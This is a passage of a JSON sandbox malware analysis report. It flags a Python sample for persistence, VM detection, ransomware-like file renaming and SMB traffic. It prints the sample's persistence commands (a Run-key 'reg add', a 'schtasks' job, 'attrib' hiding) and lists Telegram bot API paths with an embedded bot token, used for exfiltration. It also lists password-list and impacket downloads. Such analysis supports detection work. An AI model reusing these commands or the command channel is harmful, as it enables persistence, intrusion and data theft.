to be used for VM detection","description":"\"WMIC.exe\" issued a query \"SELECT Model FROM Win32_ComputerSystem\"\n \"WMIC.exe\" issued a query \"SELECT SerialNumber FROM Win32_BIOS\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-57","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Environment Awareness","name":"Found a reference to a WMI query string known to be used for VM detection","description":"$70","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-55","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Environment Awareness","name":"Queries process mitigation policy via NtQueryInformationProcess","description":"\"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\python.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\cmd.exe\" queried ProcessMitigationPolicy\n \"C:\\Windows\\System32\\wbem\\WMIC.exe\" queried ProcessMitigationPolicy","origin":"API Call","mitre_attack_id":"T1497.001","relevance":1,"id":"api-323","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"General","name":"GETs files from a web server","description":"$71","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-61","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$72","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$73","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"reg.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\")\n \"reg.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"WINSVCHOST\"; Value: \"'%APPDATA%\\Microsoft\\Windows\\Caches\\svc.py'\")","origin":"Registry Access","mitre_attack_id":"T1547.001","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$74","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/131.0 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 151.101.0.223 on port 443 is sent without HTTP header\n TCP traffic to 151.101.128.223 on port 443 is sent without HTTP header\n TCP traffic to 149.154.166.110 on port 443 is sent without HTTP header\n TCP traffic to 185.199.109.133 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_GENRansomware\" matched file \"sample.bin\" as \"Detects command variations typically used by ransomware\"","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$75","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"python.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\Lib\\__pycache__\\pty.cpython-311.pyc.2291914889600\" with delete access\n \"python.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\Lib\\__pycache__\\tty.cpython-311.pyc.2291914890896\" with delete access\n \"python.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\Lib\\unittest\\__pycache__\\mock.cpython-311.pyc.2291916405968\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$76","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"System Security","name":"Uses REG.EXE to add/load/import registry data","description":"Process \"reg.exe\" with commandline \"reg add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v WinSvcHost /t REG_SZ /d \"'%APPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\svc.py'\" /f\" (UID: 00000000-00001164)","origin":"Monitored Target","mitre_attack_id":"T1112","relevance":7,"id":"target-121","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with misleading file extensions","description":"$77","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Renames multiple files (often indicator of ransomware infection)","description":"\"python.exe\" renames more than 200 files","origin":"API Call","mitre_attack_id":"T1036","relevance":10,"id":"api-164","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%WINDIR%\\system32\\ipconfig.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Writes multiple files with double extensions (often indicator of ransomware infection)","description":"\"python.exe\" write more than 100 files with extension \".cpython-311.pyc.2406156789552\"","origin":"API Call","mitre_attack_id":"T1486","relevance":5,"id":"api-201","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Attempts to change the attributes of the files","description":"Process \"attrib.exe\" with commandline \"attrib +R +H +S \"C:\\\\Wurm.py\"\" (UID: 00000000-00006876)\n Process \"attrib.exe\" with commandline \"attrib +R +H +S \"%APPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\svc.py\"\" (UID: 00000000-00003244)\n Process \"attrib.exe\" with commandline \"attrib +R +H +S \"%TEMP%\\\\.k9_68be.py\"\" (UID: 00000000-00007512)\n Process \"attrib.exe\" with commandline \"attrib +R +H +S \"%APPDATA%\\\\svc_back.py\"\" (UID: 00000000-00007304)\n Process \"attrib.exe\" with commandline \"attrib -R -H -S \"%TEMP%\\\\.k9_68be.py\"\" (UID: 00000000-00008728)\n Process \"attrib.exe\" with commandline \"attrib +R +H +S \"%TEMP%\\\\.k9_68be.py\"\" (UID: 00000000-00004120)\n Process \"attrib.exe\" with commandline \"attrib -R -H -S \"%APPDATA%\\\\svc_back.py\"\" (UID: 00000000-00008676)\n Process \"attrib.exe\" with commandline \"attrib +R +H +S \"%APPDATA%\\\\svc_back.py\"\" (UID: 00000000-00003312)","origin":"Monitored Target","mitre_attack_id":"T1564.001","relevance":3,"id":"target-166","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Environment Awareness","name":"Uses WMIC to read BIOS information","description":"Process \"WMIC.exe\" with commandline \"wmic bios get serialnumber\" (UID: 00000000-00001508)\n Process \"WMIC.exe\" with commandline \"wmic bios get serialnumber\" (UID: 00000000-00004700)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":7,"id":"target-11","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at F68F0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"Process \"schtasks.exe\" with commandline \"schtasks /create /tn WinSvcHost /tr \"'%APPDATA%\\\\Microsoft\\\\Windows\\\\Caches\\\\svc.py'\" /sc minute /mo 5 /f\" (UID: 00000000-00008220)","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"python.exe\" wrote 000011C0 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\python.exe\" (Handle: 676)\n \"python.exe\" wrote 00000008 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\python.exe\" (Handle: 676)\n \"python.exe\" wrote 000011C0 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\python.exe\" (Handle: 944)\n \"python.exe\" wrote 00000008 bytes to a remote process \"C:\\Users\\%OSUSER%\\AppData\\Local\\Programs\\Python\\Python311\\python.exe\" (Handle: 944)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Network Related","name":"Sends network traffic on the SMB port","description":"\"SMB traffic to 192.168.0.1 on port 445","origin":"Network Traffic","mitre_attack_id":"T1021.002","relevance":5,"id":"network-59","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Network Related","name":"Sends network traffic on the official file transfer ports","description":"SMB traffic to 192.168.0.1 on port 445","origin":"Network Traffic","mitre_attack_id":"T1071.002","relevance":7,"id":"network-8","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to gather routing configuration information ROUTE","description":"Process \"ROUTE.EXE\" with commandline \"route print -4\" (UID: 00000000-00002632)","origin":"Monitored Target","mitre_attack_id":"T1016","relevance":5,"id":"target-140","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to gather system network configuration using IPCONFIG","description":"Process \"ipconfig.exe\" with commandline \"\" (UID: 00000000-00004616)","origin":"Monitored Target","mitre_attack_id":"T1016","relevance":5,"id":"target-137","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"System Security","name":"Modifies firewall settings","description":"$78","origin":"Monitored Target","mitre_attack_id":"T1686","relevance":8,"id":"target-15","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$79","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"name":"Persistence","details_count":7,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns many processes"},{"detail":"Modifies firewall settings"},{"detail":"Writes a file to the startup folder"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Reads system information using WMIC"},{"detail":"Uses WMIC to read BIOS information"},{"detail":"Tries to gather system network configuration using IPCONFIG"},{"detail":"Tries to gather routing configuration information ROUTE"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"name":"Network","details_count":1,"details":[{"detail":"Sends network traffic on the SMB port"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 4 domains and 4 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]}],"intel_graph":{"map":{"Domain:api.telegram.org":{"type":"Domain","value":"api.telegram.org"},"Domain:files.pythonhosted.org":{"type":"Domain","value":"files.pythonhosted.org"},"Domain:pypi.org":{"type":"Domain","value":"pypi.org"},"Domain:raw.githubusercontent.com":{"type":"Domain","value":"raw.githubusercontent.com"},"File:162666d75297dfcdd0116cbeab134d78fab808b8a66bfa5c1d74832d9b754771":{"type":"File","value":"162666d75297dfcdd0116cbeab134d78fab808b8a66bfa5c1d74832d9b754771"},"File:190aa2bed8f4f1516e89560307863bb5c1b8d7f9b79b9d7cf20110f6cbf45f1c":{"type":"File","value":"190aa2bed8f4f1516e89560307863bb5c1b8d7f9b79b9d7cf20110f6cbf45f1c"},"File:1fbe17feea666a90611ec768d2dae57c2a2ade56acc4caae7fc061d17dafe146":{"type":"File","value":"1fbe17feea666a90611ec768d2dae57c2a2ade56acc4caae7fc061d17dafe146"},"File:20607e0f22eb54ee3a71246377a52f21a6b78a08df01e7ca3947b7095c1daf09":{"type":"File","value":"20607e0f22eb54ee3a71246377a52f21a6b78a08df01e7ca3947b7095c1daf09"},"File:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a":{"type":"File","value":"29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"},"File:3aa7e6bc583c04b62f77455f519b49be6529bf8ef165eb52022b0da7fac9d4ab":{"type":"File","value":"3aa7e6bc583c04b62f77455f519b49be6529bf8ef165eb52022b0da7fac9d4ab"},"File:3e5349c1209cdd3b90bff6f8b61c0d89aea0f3dbba6ad02ad254b9d3ef2301d0":{"type":"File","value":"3e5349c1209cdd3b90bff6f8b61c0d89aea0f3dbba6ad02ad254b9d3ef2301d0"},"File:456ae8f22982de09b369c85ec5a9466dd64e8306877aaadddd8267bee1956ad9":{"type":"File","value":"456ae8f22982de09b369c85ec5a9466dd64e8306877aaadddd8267bee1956ad9"},"File:4ccd6bc0a1d174a309c407f540be12ddb56bd3b7e180f8db8771ab43915a586a":{"type":"File","value":"4ccd6bc0a1d174a309c407f540be12ddb56bd3b7e180f8db8771ab43915a586a"},"File:55f58fbd41bacab10a0d3e47dea6243230744ec3990fedc8604514cf2be2557c":{"type":"File","value":"55f58fbd41bacab10a0d3e47dea6243230744ec3990fedc8604514cf2be2557c"},"File:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70":{"type":"File","value":"5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"},"File:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2":{"type":"File","value":"64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2"},"File:78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99":{"type":"File","value":"78342041f9f4f55614da7c3e186bd6cd0d17225525441056123d28aa2cdd8c99","verdict":{"verdict":"suspicious","verdict_source":"static analysis","reasons":["Associated with known suspicious activity"]},"filetype":"Python script text executable","filetype_short":"PYTHON"},"File:9a9e490aed2e1f487ac4af81b07426c4b7a83c091c163f9b54025bd3ac0208df":{"type":"File","value":"9a9e490aed2e1f487ac4af81b07426c4b7a83c091c163f9b54025bd3ac0208df"},"File:b6dbc01f6849fc4021703ab9b507749d09c6b5ff08e214c9da27a00940464860":{"type":"File","value":"b6dbc01f6849fc4021703ab9b507749d09c6b5ff08e214c9da27a00940464860"},"File:c9cf4e39477652fa11b3ebb497ab68e99377a01962e00ff21071ac0518e4a9b4":{"type":"File","value":"c9cf4e39477652fa11b3ebb497ab68e99377a01962e00ff21071ac0518e4a9b4"},"File:cb4bc5bbf3d8f1f3004d0b1581f5994725dbe02cf8db52a808a84bed038aea94":{"type":"File","value":"cb4bc5bbf3d8f1f3004d0b1581f5994725dbe02cf8db52a808a84bed038aea94"},"File:de0667ccabc406863eaf85b837898f53b05d2ffa3e9933a5406e08d1e6ec017a":{"type":"File","value":"de0667ccabc406863eaf85b837898f53b05d2ffa3e9933a5406e08d1e6ec017a"},"File:e28c21acb6b7fe37bbf21fc8348f39533ea21b2cd19351189bbeb6b3e16cc40f":{"type":"File","value":"e28c21acb6b7fe37bbf21fc8348f39533ea21b2cd19351189bbeb6b3e16cc40f"},"File:ee7448cdb3cdfd10176aa059e091d188e07be7fd00b016585956daf8329d874d":{"type":"File","value":"ee7448cdb3cdfd10176aa059e091d188e07be7fd00b016585956daf8329d874d"},"File:f52878a2b8787afc21629ef1ae0be5b09272a6fccd10c0d8591904723f1e69ef":{"type":"File","value":"f52878a2b8787afc21629ef1ae0be5b09272a6fccd10c0d8591904723f1e69ef"},"Ip:149.154.166.110":{"type":"Ip","value":"149.154.166.110"},"Ip:151.101.0.223":{"type":"Ip","value":"151.101.0.223"},"Ip:151.101.128.223":{"type":"Ip","value":"151.101.128.223"},"Ip:185.199.109.133":{"type":"Ip","value":"185.199.109.133"},"Ip:192.168.0.1":{"type":"Ip","value":"192.168.0.1"},"Url:/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/getUpdates":{"type":"Url","value":"/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/getUpdates"},"Url:/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage":{"type":"Url","value":"/bot9143301735:AAGo0ebd7MFjb7sTCr3FHfGmb4FGoLxYA1M/sendMessage"},"Url:/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt":{"type":"Url","value":"/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"},"Url:/danielmiessler/SecLists/master/Passwords/Default-Credentials/default-passwords.txt":{"type":"Url","value":"/danielmiessler/SecLists/master/Passwords/Default-Credentials/default-passwords.txt"},"Url:/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl":{"type":"Url","value":"/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl"},"Url:/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl.metadata"},"Url:/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl":{"type":"Url","value":"/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl"},"Url:/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl.metadata"},"Url:/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl":{"type":"Url","value":"/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl"},"Url:/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata"},"Url:/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl":{"type":"Url","value":"/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl"},"Url:/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/19/1f/3eefd5c84c35cae44549ce1c7f7e58f7945b34f5a6bce07a135438522073/pyasn1-0.6.5-py3-none-any.whl.metadata"},"Url:/packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl":{"type":"Url","value":"/packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl"},"Url:/packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/1e/0c/5346358b3a20275d256978c35203ddc2c8617f78c1b23795b79ba22ced6d/dnspython-2.9.2-py3-none-any.whl.metadata"},"Url:/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl":{"type":"Url","value":"/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl"},"Url:/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl.metadata":{"type":"Url","value":"/packages/21/f9/4363334c762c2463d9d403894e83922959d9392e7cfa15bb1335e790851d/pycryptodomex-3.24.2-cp37-abi3-win_amd64.whl.metadata"},"Url:/packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl":{"type":"Url","value":"/packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl"},"Url:/packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/31/7d/164b7ffc8624fe9efb4221bf9af485d5c1e41b9ae118045d2b6dc5457d8b/click-8.5.1-py3-none-any.whl.metadata"},"Url:/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl":{"type":"Url","value":"/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl"},"Url:/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/47/8d/d529b5d697919ba8c11ad626e835d4039be708a35b0d22de83a269a6682c/pyasn1_modules-0.4.2-py3-none-any.whl.metadata"},"Url:/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl":{"type":"Url","value":"/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl"},"Url:/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl.metadata":{"type":"Url","value":"/packages/4e/f6/71d6ec9f18da0b2201287ce9db6afb1a1f637dedb3f0703409558981c723/ldap3-2.9.1-py2.py3-none-any.whl.metadata"},"Url:/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl":{"type":"Url","value":"/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl"},"Url:/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/51/ad/2cf6d3fa2fae5c79e1ed9960c0d42badd0f94d81dd12b50604cdc839e648/pyopenssl-26.4.0-py3-none-any.whl.metadata"},"Url:/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl":{"type":"Url","value":"/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl"},"Url:/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/5a/de/bbc12563bbf979618d17625a4e753ff7a078523e28d870d3626daa97261a/invoke-3.0.3-py3-none-any.whl.metadata"},"Url:/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl":{"type":"Url","value":"/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl"},"Url:/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata"},"Url:/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl":{"type":"Url","value":"/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl"},"Url:/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl.metadata"},"Url:/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl":{"type":"Url","value":"/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl"},"Url:/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl.metadata":{"type":"Url","value":"/packages/8a/91/5a0015375d5bcc3667f92692e9a244803b9a0e4b651b29a5682e1647669a/ldapdomaindump-0.10.0-py3-none-any.whl.metadata"},"Url:/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl":{"type":"Url","value":"/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl"},"Url:/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata":{"type":"Url","value":"/packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata"},"Url:/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl":{"type":"Url","value":"/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl"},"Url:/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata":{"type":"Url","value":"/packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata"},"Url:/packages/a1/38/df03f564f43cec2684823f3cccae